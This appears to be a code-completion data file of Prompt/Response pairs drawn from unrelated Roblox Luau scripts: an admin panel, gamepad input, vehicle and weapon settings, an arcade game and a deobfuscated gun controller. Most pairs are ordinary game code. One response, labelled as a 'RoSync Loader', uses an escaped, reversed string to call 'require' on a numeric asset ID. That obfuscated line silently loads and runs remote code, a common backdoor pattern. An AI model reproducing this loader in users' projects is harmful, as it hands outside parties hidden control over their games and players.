			if not unban then
				panel.MenuFrame.UnbanPlayer:Destroy()
				panel.UnbanMenuFrame:Destroy()
				panel.Events.UnbanFunction:Destroy()
			end

			if not shutdown then
				panel.MenuFrame.ShutdownServer:Destroy()
				panel.Events.ShutdownEvent:Destroy()
			end

			if not kill then
				panel.MenuFrame.KillPlayer:Destroy()
				panel.KillMenuFrame:Destroy()
				panel.Events.KillFunction:Destroy()
			end

			if not broadcast then
				panel.MenuFrame.BroadcastMessage:Destroy()
				panel.BroadcastMenuFrame:Destroy()
				panel.Events.BroadcastEvent:Destroy()
			end

			panel.Parent = player.PlayerGui

			break
		end
	end
end

function thread()

	while true do
		if workspace.FilteringEnabled == false then

			script:Remove()
			warn("FilteringEnabled is required to run the Kaixeleron admin panel.")
			break

		end

		wait()
	end
end

spawn(thread)


Prompt: -- If anything goes wrong please leave a comment on the modle and I will fix it.

Response:
local speed = game.ReplicatedStorage.Values.Speed.Value

game:GetService("MarketplaceService").PromptGamePassPurchaseFinished:Connect(function(plr,ido,purchased)
	if purchased and ido == id then
		plr.Character.Humanoid.WalkSpeed = speed --set this and the other one to the same number
	end
end)

game.Players.PlayerAdded:Connect(function(plr)
	plr.CharacterAdded:connect(function(char)
		if game:GetService("MarketplaceService"):UserOwnsGamePassAsync(game.Players[char.Name].UserId, id) then
			char.Humanoid.WalkSpeed = speed
		end
	end)
end)


Prompt:
--[=[
	@param gamepad Enum.UserInputType?
	@return Gamepad
	Constructs a gamepad object.

	If no gamepad UserInputType is provided, this object will always wrap
	around the currently-active gamepad, even if it changes. In most cases
	where input is needed from just the primary gamepad used by the player,
	leaving the `gamepad` argument blank is preferred.

	Only include the `gamepad` argument when it is necessary to hard-lock
	the object to a specific gamepad input type.

	```lua
	-- In most cases, construct the gamepad as such:
	local gamepad = Gamepad.new()

	-- If the exact UserInputType gamepad is needed, pass it as such:
	local gamepad = Gamepad.new(Enum.UserInputType.Gamepad1)
	```
]=]

Response:
function Gamepad.new(gamepad: Enum.UserInputType?)
	local self = setmetatable({}, Gamepad)
	self._trove = Trove.new()
	self._gamepadTrove = self._trove:Construct(Trove)
	self.ButtonDown = self._trove:Construct(Signal)
	self.ButtonUp = self._trove:Construct(Signal)
	self.Connected = self._trove:Construct(Signal)
	self.Disconnected = self._trove:Construct(Signal)
	self.GamepadChanged = self._trove:Construct(Signal)
	self.DefaultDeadzone = 0.05
	self.SupportsVibration = false
	self.State = {}
	self:_setupGamepad(gamepad)
	self:_setupMotors()
	return self
end

function Gamepad:_setupActiveGamepad(gamepad: Enum.UserInputType?)

	local lastGamepad = self._gamepad
	if gamepad == lastGamepad then return end

	self._gamepadTrove:Clean()
	table.clear(self.State)
	self.SupportsVibration = if gamepad then HapticService:IsVibrationSupported(gamepad) else false

	self._gamepad = gamepad

	-- Stop if disconnected:
	if not gamepad then
		self.Disconnected:Fire()
		self.GamepadChanged:Fire(nil)
		return
	end

	for _,inputObject in ipairs(UserInputService:GetGamepadState(gamepad)) do
		self.State[inputObject.KeyCode] = inputObject
	end

	self._gamepadTrove:Add(self, "StopMotors")

	self._gamepadTrove:Connect(UserInputService.InputBegan, function(input, processed)
		if input.UserInputType == gamepad then
			self.ButtonDown:Fire(input.KeyCode, processed)
		end
	end)

	self._gamepadTrove:Connect(UserInputService.InputEnded, function(input, processed)
		if input.UserInputType == gamepad then
			self.ButtonUp:Fire(input.KeyCode, processed)
		end
	end)

	if lastGamepad == nil then
		self.Connected:Fire()
	end
	self.GamepadChanged:Fire(gamepad)

end

function Gamepad:_setupGamepad(forcedGamepad: Enum.UserInputType?)

	if forcedGamepad then

		-- Forced gamepad:

		self._trove:Connect(UserInputService.GamepadConnected, function(gp)
			if gp == forcedGamepad then
				self:_setupActiveGamepad(forcedGamepad)
			end
		end)

		self._trove:Connect(UserInputService.GamepadDisconnected, function(gp)
			if gp == forcedGamepad then
				self:_setupActiveGamepad(nil)
			end
		end)

		if UserInputService:GetGamepadConnected(forcedGamepad) then
			self:_setupActiveGamepad(forcedGamepad)
		end

	else

		-- Dynamic gamepad:

		local function CheckToSetupActive()
			local active = GetActiveGamepad()
			if active ~= self._gamepad then
				self:_setupActiveGamepad(active)
			end
		end

		self._trove:Connect(UserInputService.GamepadConnected, CheckToSetupActive)
		self._trove:Connect(UserInputService.GamepadDisconnected, CheckToSetupActive)
		self:_setupActiveGamepad(GetActiveGamepad())

	end

end

function Gamepad:_setupMotors()
	self._setMotorIds = {}
	for _,motor in ipairs(Enum.VibrationMotor:GetEnumItems()) do
		self._setMotorIds[motor] = 0
	end
end


Prompt:
--[[function colorwep()
	plr=game.Players.LocalPlayer
	if plr then
		--sp.Handle.Mesh.VertexColor=Vector3.new(plr.TeamColor.Color.r,plr.TeamColor.Color.g,plr.TeamColor.Color.b)
		sp.Handle.BrickColor=plr.TeamColor
	end
end
colorwep()
if plr then
	plr.Changed:connect(colorwep)
end]]


Prompt: -- RETURN

Response:
return function(v1)
	local v2 = game:GetService('Players').LocalPlayer
	script.Parent.DescendantRemoving:Connect(function()
		v1.Announce(1)
	end)
	script.Parent.DescendantAdded:Connect(function()
		v1.Announce(2)
	end)
	script.Parent.Destroying:Connect(function()
		v1.Announce(3)
	end)
end


Prompt: ----[[ Color Settings ]]

Response:
module.BackGroundColor = Color3.new(0.333333, 1, 1)
module.DefaultMessageColor = Color3.new(1, 1, 1)
module.DefaultChatColor = Color3.fromRGB(200, 200, 200)
module.DefaultNameColor = Color3.new(1, 1, 1)
module.ChatBarBackGroundColor = Color3.new(0, 0, 0)
module.ChatBarBoxColor = Color3.new(1, 1, 1)
module.ChatBarTextColor = Color3.new(0, 0, 0)
module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0)
module.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255)
module.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142)
module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102)
module.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50)

module.DefaultPrefix = ""
module.DefaultPrefixColor = Color3.fromRGB(255,255,255)


Response:
repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil
local runService = game:GetService("RunService")
local input = game:GetService("UserInputService")
local players = game:GetService("Players")

CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson
CanViewBody = true 		-- whether you see your body
Sensitivity = 0.2		-- anything higher would make looking up and down harder; recommend anything between 0~1
Smoothness = 0.05		-- recommend anything between 0~1
FieldOfView = 90		-- fov

local cam = game.Workspace.CurrentCamera
local player = players.LocalPlayer
local m = player:GetMouse()
m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon
local character = player.Character or player.CharacterAdded:wait()
local humanoidpart = character.HumanoidRootPart

local head = character:WaitForChild("Head")
local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p
local AngleX,TargetAngleX = 0,0
local AngleY,TargetAngleY = 0,0

local running = true
local freemouse = false


Prompt: -- Put this script in StarterPack or StarterGui

Response:
Player = game.Players.LocalPlayer
repeat
	wait()
until Player.Character
Mouser = Player:GetMouse()
name = Player.Name
char = game.Workspace[Player.Name]

Animation = script.Anim

animtrack = char.Humanoid:LoadAnimation(Animation)

Mouser.KeyDown:connect(function(key)
	if key == "c" then

		animtrack:Play()
		char.Humanoid.WalkSpeed = 8
			end
		end)

	Mouser.KeyUp:connect(function(key)

	 if key == "c"  then
		script.Disabled = true
		animtrack:Stop()
		char.Humanoid.WalkSpeed = 14
		script.Disabled = false

	end

end)


Prompt:
--[[
	A utility used to assert that two objects are value-equal recursively. It
	outputs fairly nicely formatted messages to help diagnose why two objects
	would be different.

	This should only be used in tests.
]]

Response:
local function deepEqual(a, b)
	if typeof(a) ~= typeof(b) then
		local message = ("{1} is of type %s, but {2} is of type %s"):format(typeof(a), typeof(b))
		return false, message
	end

	if typeof(a) == "table" then
		local visitedKeys = {}

		for key, value in pairs(a) do
			visitedKeys[key] = true

			local success, innerMessage = deepEqual(value, b[key])
			if not success then
				local message = innerMessage
					:gsub("{1}", ("{1}[%s]"):format(tostring(key)))
					:gsub("{2}", ("{2}[%s]"):format(tostring(key)))

				return false, message
			end
		end

		for key, value in pairs(b) do
			if not visitedKeys[key] then
				local success, innerMessage = deepEqual(value, a[key])

				if not success then
					local message = innerMessage
						:gsub("{1}", ("{1}[%s]"):format(tostring(key)))
						:gsub("{2}", ("{2}[%s]"):format(tostring(key)))

					return false, message
				end
			end
		end

		return true
	end

	if a == b then
		return true
	end

	local message = "{1} ~= {2}"
	return false, message
end

local function assertDeepEqual(a, b)
	local success, innerMessageTemplate = deepEqual(a, b)

	if not success then
		local innerMessage = innerMessageTemplate:gsub("{1}", "first"):gsub("{2}", "second")

		local message = ("Values were not deep-equal.\n%s"):format(innerMessage)

		error(message, 2)
	end
end

return assertDeepEqual


Prompt: -- OBJECT DIRECTORY

Response:
local machine = script.Parent
local jackpotValues = machine.JackpotValues
local lights = machine.Lights
local lights2 = machine.Lights2
local ticketValues = machine.TicketValues
local arm = machine.Arm
local button = machine.StopButton
local isSpinning = false
local zone = {5,4,3,1,2,3,4,5,5,4,3,1,2,3,4,5}
local lzone = {6,5,5,4,4,3,3,1,1,2,2,3,3,4,4,5,5,6,5,5,4,4,3,3,1,1,2,2,3,3,4,4,5,5}
local active = false
local index = 1

wait()
machine.CreditsDisp.Value.Value = 0
for _,a in pairs(jackpotValues:GetChildren()) do a.SurfaceGui.TextLabel.Text = values[6] end
for i = 1, 16 do ticketValues[tostring(i)].SurfaceGui.TextLabel.Text = values[zone[i]] end

function start()
	machine.CreditsDisp.Value.Value = machine.Credits.Value
	if not active and machine.Credits.Value > 0 then
		active = true
		isSpinning = false
		arm.ClickDetector.MaxActivationDistance = 10
		machine.Timer.Value.Value = 20
		machine.Timer.Disabled = false
	end
end

function clickArm(plr)
	if plr == 1 or plr.Name == machine.CardReader.GameInfo.Player.Value then
		isSpinning = true
		button.LeverPull.TimePosition = 1
		button.LeverPull:Play()
		machine.Timer.Disabled = true
		machine.Timer.Value.Value = 0
		arm.ClickDetector.MaxActivationDistance = 0
		arm.HingeConstraint.TargetAngle = 50
		wait(0.5)
		arm.HingeConstraint.TargetAngle = 0
		wait(0.5)
		for _,a in pairs(machine.Lights3:GetChildren()) do a.Material = Enum.Material.Neon end
		button.Click:Play()
		button.Material = Enum.Material.Neon
		machine.Timer.Value.Value = 20
		machine.Timer.Disabled = false
		index = 0
		repeat
			index = index + 1
			if index == 35 then index = 1 end
			lights[tostring(index)].Material = Enum.Material.Neon
			wait(wheelSpeed)
			if button.Material == Enum.Material.Neon then lights[tostring(index)].Material = Enum.Material.SmoothPlastic end
		until button.Material == Enum.Material.SmoothPlastic
	end
end

function clickButton(plr)
	if button.Material == Enum.Material.Neon and (plr == 1 or plr.Name == machine.CardReader.GameInfo.Player.Value) then
		button.Click:Stop()
		machine.Timer.Disabled = true
		machine.Timer.Value.Value = 0
		button.Material = Enum.Material.SmoothPlastic
		for _,a in pairs(machine.Lights3:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end
		if lzone[index] == 6 then
			local r = math.random(1, jpChance)
			if r ~= 1 then
				lights[tostring(index)].Material = Enum.Material.SmoothPlastic
				index = index + 1
			end
		end
		ticketOut(values[lzone[index]])
		if lzone[index] == 6 then
			button.Bell:Play()
			button.JPMusic.TimePosition = 0.5
			button.JPMusic:Play()
			for i = 1, 12 do
				lights[tostring(index)].Material = Enum.Material.Neon
				wait(.5)
				for _,a in pairs(lights:GetChildren()) do a.Material = Enum.Material.Neon end
				for _,a in pairs(lights2:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end
				wait(.5)
				for _,a in pairs(lights:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end
				for _,a in pairs(lights2:GetChildren()) do a.Material = Enum.Material.Neon end
			end
			for _,a in pairs(lights2:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end
			button.JPMusic:Stop()
		else
			button.Win:Play()
			for i = 1, 8 do
				lights[tostring(index)].Material = Enum.Material.Neon
				wait(0.5)
				lights[tostring(index)].Material = Enum.Material.SmoothPlastic
				wait(0.5)
			end
		end
		active = false
		machine.Credits.Value = machine.Credits.Value - 1
	end
end

machine.Timer.Changed:connect(function()
	if machine.Timer.Value.Value == 0 and not machine.Timer.Disabled then
		if isSpinning then clickButton(1) else clickArm(1) end
	end
end)

arm.ClickDetector.MouseClick:connect(clickArm)
button.ClickDetector.MouseClick:connect(clickButton)
machine.Credits.Changed:connect(start)
function ticketOut(tix)
	machine.CardReader.GameInfo.TicketsWon.Value = machine.CardReader.GameInfo.TicketsWon.Value + tix
end


Response:
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5,1,0.6) * CFrame.fromEulerAnglesXYZ(math.rad(90),0.1,0.1)
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2


Prompt:
--[=[
	@within Gamepad
	@prop Disconnected Signal
	@readonly
	Fires when the gamepad is disconnected. This will _not_ fire if the
	active gamepad is switched. To detect switching to different
	active gamepads, use the `GamepadChanged` signal.

	There is also a `gamepad:IsConnected()` method.

	```lua
	gamepad.Disconnected:Connect(function()
		print("Disconnected")
	end)
	```
]=]


Prompt: -- Tags --

Response:
local pantsId = script.Parent.Parent.Pants.PantsTemplate
local shirtId = script.Parent.Parent.Shirt.ShirtTemplate
local cPart = script.Parent
local cDetector = script.Parent.ClickDetector


Prompt:
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------

Response:
	,VRecoil = {9,13}				--- Vertical Recoil
	,HRecoil = {5,7}				--- Horizontal Recoil
	,AimRecover = .7				---- Between 0 & 1

	,RecoilPunch = .15
	,VPunchBase = 2.55				--- Vertical Punch
	,HPunchBase = 1.75				--- Horizontal Punch
	,DPunchBase = 1 				--- Tilt Punch | useless

	,AimRecoilReduction = 2 		--- Recoil Reduction Factor While Aiming (Do not set to 0)
	,PunchRecover = 0.2
	,MinRecoilPower = .3
	,MaxRecoilPower = 3
	,RecoilPowerStepAmount = .25

	,MinSpread = 0.56				--- Min bullet spread value | Studs
	,MaxSpread = 36					--- Max bullet spread value | Studs
	,AimInaccuracyStepAmount = 0.5
	,WalkMultiplier = 0				--- Bullet spread based on player speed

	,SwayBase = 0.25				--- Weapon Base Sway | Studs
	,MaxSway =	1.5					--- Max sway value based on player stamina | Studs


Prompt:
-- you don't have to change these if you chose auto setup
-- put these to true if you have these plugins in your car, otherwise leave them as false

Response:
smoke = false
backfire = true
horn = true
brakewhistle = false
ignition = false
audioname = "Start" -- the name of your startup audio (defaults as "Start") (only works with ignition on)


Prompt: -- This will inject all types into this context.

Response:
local TypeDefs = require(script.TypeDefinitions)
type CanPierceFunction = TypeDefs.CanPierceFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast


Prompt: -- коллекция мишеней

Response: local targets = game.Workspace.Targets


Prompt: -- Events

Response:
local Events = ReplicatedStorage.Events
local NewPlayer = Events.NewPlayer


Prompt:
-- ROBLOX deviation START: package not available using local implementation
-- local util = require(Packages.util)

Response: local format = require(script.Parent.format)


Prompt:
--[=[
	@function last
	@within Array

	@param array {T} -- The array to get the last element of.
	@return T -- The last element of the array.

	Gets the last element of the array.

	```lua
	local array = { 1, 2, 3 }

	local value = Last(array) -- 3
	```
]=]

Response:
local function last<T>(array: { T }): T
	return At(array, 0)
end

return last


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Auto", "Semi", "Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 4.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		12.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		8.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
	    --[[ 6 ]]		0.64		,
	    --[[ 7 ]]		0.61		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt:
--This script uses the Touched event on the parent part to detect when another object collides with it.
--When that happens, it looks for a Humanoid object in the parent of the colliding object.
--If it finds one, it calls the TakeDamage method on the Humanoid object, passing in the value of its MaxHealth property to kill the player.


Prompt: -- Ring4 ascending

Response:
for l = 1,#lifts4 do
	if (lifts4[l].className == "Part") then
	lifts4[l].BodyPosition.position = Vector3.new((lifts4[l].BodyPosition.position.x),(lifts4[l].BodyPosition.position.y+6),(lifts4[l].BodyPosition.position.z))
	end
end
wait(0.1)
for p = 1,#parts4 do
	parts4[p].CanCollide = true
end
wait(0.5)


Prompt: --[[ Last synced 10/14/2020 09:41 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: -- EDIT THE TEXTS.

Response:
Content.Content1.Content.Text = "Content" -- EDIT THE STUFF IN THE QUOTATION MARKS ON YOUR NEW Content.
Content.Content2.Content.Text = "Content"
Content.Content3.Content.Text = "Content"
Content.Content4.Content.Text = "Content"
Content.Content5.Content.Text = "Content"
Content.Content6.Content.Text = "Content"
Content.Content7.Content.Text = "Content"
Content.Content8.Content.Text = "Content"
Content.Content9.Content.Text = "Content"
Content.Content10.Content.Text = "Content"


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 10 -- cooldown for use of the tool again

ZoneModelName = "Killer void" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: --// Input Connections

Response:
L_107_.InputBegan:connect(function(L_314_arg1, L_315_arg2)
	if not L_315_arg2 and L_15_ then
		if L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then
			if not L_64_ then
				if not L_65_ then
					if L_24_.TacticalModeEnabled then
						L_154_ = 0.015
						L_155_ = 7
						L_3_:WaitForChild("Humanoid").WalkSpeed = 7
					else
						L_155_ = 10
						L_154_ = 0.008
						L_3_:WaitForChild("Humanoid").WalkSpeed = 10
					end

				end

				if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude <= 2 then
					L_97_ = L_50_
				end
				L_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p
				L_115_:FireServer(true)
				L_64_ = true
			end
		end;

		if L_314_arg1.KeyCode == Enum.KeyCode.A and L_15_ then
			L_134_ = CFrame.Angles(0, 0, 0.1)
		end;

		if L_314_arg1.KeyCode == Enum.KeyCode.D and L_15_ then
			L_134_ = CFrame.Angles(0, 0, -0.1)
		end;

		if L_314_arg1.KeyCode == Enum.KeyCode.E and L_15_ and not L_80_ and not L_81_ then
			L_80_ = true
			L_82_ = false
			L_81_ = true
			LeanRight()
		end

		if L_314_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and not L_80_ and not L_82_ then
			L_80_ = true
			L_81_ = false
			L_82_ = true
			LeanLeft()
		end

		if L_314_arg1.KeyCode == L_24_.AlternateAimKey and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then
			if not L_64_ then
				if not L_65_ then
					L_3_.Humanoid.WalkSpeed = 10
					L_155_ = 10
					L_154_ = 0.008
				end
				L_97_ = L_50_
				L_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p
				L_115_:FireServer(true)
				L_64_ = true
			end
		end;

		if L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_79_ and not L_77_ and L_69_ and L_15_ and not L_66_ and not L_67_ and not L_74_ then
			L_68_ = true
			if not Shooting and L_15_ and not L_83_ then
				if L_103_ > 0 then
					Shoot()
				end
			elseif not Shooting and L_15_ and L_83_ then
				if L_105_ > 0 then
					Shoot()
				end
			end
		end;

		if L_314_arg1.KeyCode == (L_24_.LaserKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadRight) and L_15_ and L_24_.LaserAttached then
			local L_316_ = L_1_:FindFirstChild("LaserLight")
			L_122_.KeyDown[1].Plugin()
		end;

		if L_314_arg1.KeyCode == (L_24_.LightKey or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR3) and L_15_ and L_24_.LightAttached then
			local L_317_ = L_1_:FindFirstChild("FlashLight"):FindFirstChild('Light')
			local L_318_ = false
			L_317_.Enabled = not L_317_.Enabled
		end;

		if L_15_ and L_314_arg1.KeyCode == (L_24_.FireSelectKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadUp) and not L_79_ and not L_70_ and not L_78_ then
			L_70_ = true
			if L_92_ == 1 then
				if Shooting then
					Shooting = false
				end
				if L_24_.AutoEnabled then
					L_92_ = 2
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.AutoEnabled and L_24_.BurstEnabled then
					L_92_ = 3
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then
					L_92_ = 4
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then
					L_92_ = 6
					L_83_ = true
					L_84_ = L_69_
					L_69_ = L_85_
				elseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled then
					L_92_ = 1
					L_83_ = false
					L_69_ = L_84_
				end
			elseif L_92_ == 2 then
				if Shooting then
					Shooting = false
				end
				if L_24_.BurstEnabled then
					L_92_ = 3
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.BurstEnabled and L_24_.BoltAction then
					L_92_ = 4
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then
					L_92_ = 6
					L_83_ = true
					L_84_ = L_69_
					L_69_ = L_85_
				elseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then
					L_92_ = 1
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.SemiEnabled then
					L_92_ = 2
					L_83_ = false
					L_69_ = L_84_
				end
			elseif L_92_ == 3 then
				if Shooting then
					Shooting = false
				end
				if L_24_.BoltAction then
					L_92_ = 4
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.BoltAction and L_24_.ExplosiveEnabled then
					L_92_ = 6
					L_83_ = true
					L_84_ = L_69_
					L_69_ = L_85_
				elseif not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then
					L_92_ = 1
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.BoltAction and not L_24_.SemiEnabled and L_24_.AutoEnabled then
					L_92_ = 2
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.BoltAction and not L_24_.SemiEnabled and not L_24_.AutoEnabled then
					L_92_ = 3
					L_83_ = false
					L_69_ = L_84_
				end
			elseif L_92_ == 4 then
				if Shooting then
					Shooting = false
				end
				if L_24_.ExplosiveEnabled then
					L_92_ = 6
					L_83_ = true
					L_84_ = L_69_
					L_69_ = L_85_
				elseif not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then
					L_92_ = 1
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.SemiEnabled and L_24_.AutoEnabled then
					L_92_ = 2
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then
					L_92_ = 3
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled then
					L_92_ = 4
					L_83_ = false
					L_69_ = L_84_
				end
			elseif L_92_ == 6 then
				if Shooting then
					Shooting = false
				end
				L_85_ = L_69_
				if L_24_.SemiEnabled then
					L_92_ = 1
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.SemiEnabled and L_24_.AutoEnabled then
					L_92_ = 2
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then
					L_92_ = 3
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then
					L_92_ = 4
					L_83_ = false
					L_69_ = L_84_
				elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction then
					L_92_ = 6
					L_83_ = true
					L_84_ = L_69_
					L_69_ = L_85_
				end
			end
			UpdateAmmo()
			FireModeAnim()
			IdleAnim()
			L_70_ = false
		end;

		if L_314_arg1.KeyCode == (Enum.KeyCode.F or L_314_arg1.KeyCode == Enum.KeyCode.DPadDown) and not L_79_ and not L_77_ and not L_78_ and not L_67_ and not L_70_ and not L_64_ and not L_66_ and not Shooting and not L_76_ then
			if not L_73_ and not L_74_ then
				L_74_ = true
				Shooting = false
				L_69_ = false
				L_135_ = time()
				delay(0.6, function()
					if L_103_ ~= L_24_.Ammo and L_103_ > 0 then
						CreateShell()
					end
				end)
				BoltBackAnim()
				L_73_ = true
			elseif L_73_ and L_74_ then
				BoltForwardAnim()
				Shooting = false
				L_69_ = true
				if L_103_ ~= L_24_.Ammo and L_103_ > 0 then
					L_103_ = L_103_ - 1
				elseif L_103_ >= L_24_.Ammo then
					L_69_ = true
				end
				L_73_ = false
				L_74_ = false
				IdleAnim()
				L_75_ = false
			end
			UpdateAmmo()
		end;

		if L_314_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_78_ and not L_77_ and L_146_ then
			L_71_ = true
			if L_15_ and not L_70_ and not L_67_ and L_71_ and not L_65_ and not L_74_ then
				Shooting = false
				L_64_ = false
				L_67_ = true

				delay(0, function()
					if L_67_ and not L_66_ then
						L_64_ = false
						L_72_ = true
					end
				end)
				L_97_ = 80
				if L_24_.TacticalModeEnabled then
					L_154_ = 0.4
					L_155_ = 16
				else
					L_155_ = L_24_.SprintSpeed
					L_154_ = 0.4
				end
				L_3_.Humanoid.WalkSpeed = L_24_.SprintSpeed
			end
		end;

		if L_314_arg1.KeyCode == (Enum.KeyCode.R or L_314_arg1.KeyCode == Enum.KeyCode.ButtonX) and not L_79_ and not L_78_ and not L_77_ and L_15_ and not L_66_ and not L_64_ and not Shooting and not L_67_ and not L_74_ then
			if not L_83_ then
				if L_104_ > 0 and L_103_ < L_24_.Ammo then
					Shooting = false
					L_66_ = true

					for L_319_forvar1, L_320_forvar2 in pairs(game.Players:GetChildren()) do
						if L_320_forvar2 and L_320_forvar2:IsA('Player') and L_320_forvar2 ~= L_2_ and L_320_forvar2.TeamColor == L_2_.TeamColor then
							if (L_320_forvar2.Character.HumanoidRootPart.Position - L_3_.HumanoidRootPart.Position).magnitude  <= 150 then
								if L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then
									L_119_:FireServer(L_7_.AHH, L_100_[math.random(0, 23)])
								end
							end
						end
					end
					BoltBackAnim()
					ReloadAnim()
					BoltForwardAnim()
					IdleAnim()
					L_69_ = true

					if L_103_ <= 0 then
						if (L_104_ - (L_24_.Ammo - L_103_)) < 0 then
							L_103_ = L_103_ + L_104_
							L_104_ = 0
						else
							L_104_ = L_104_ - (L_24_.Ammo - L_103_)
							L_103_ = L_24_.Ammo
						end
					elseif L_103_ > 0 then
						if (L_104_ - (L_24_.Ammo - L_103_)) < 0 then
							L_103_ = L_103_ + L_104_ + 0
							L_104_ = 0
						else
							L_104_ = L_104_ - (L_24_.Ammo - L_103_)
							L_103_ = L_24_.Ammo + 0
						end
					end

					L_66_ = false
					if not L_75_ then
						L_69_ = true
					end
				end;
			elseif L_83_ then
				if L_105_ > 0 then
					Shooting = false
					L_66_ = true
					nadeReload()
					IdleAnim()
					L_66_ = false
					L_69_ = true
				end
			end;
			UpdateAmmo()
		end;

		if L_314_arg1.KeyCode == Enum.KeyCode.RightBracket and L_64_ then
			if (L_51_ < 1) then
				L_51_ = L_51_ + L_24_.SensitivityIncrement
			end
		end

		if L_314_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_64_ then
			if (L_51_ > 0.1) then
				L_51_ = L_51_ - L_24_.SensitivityIncrement
			end
		end

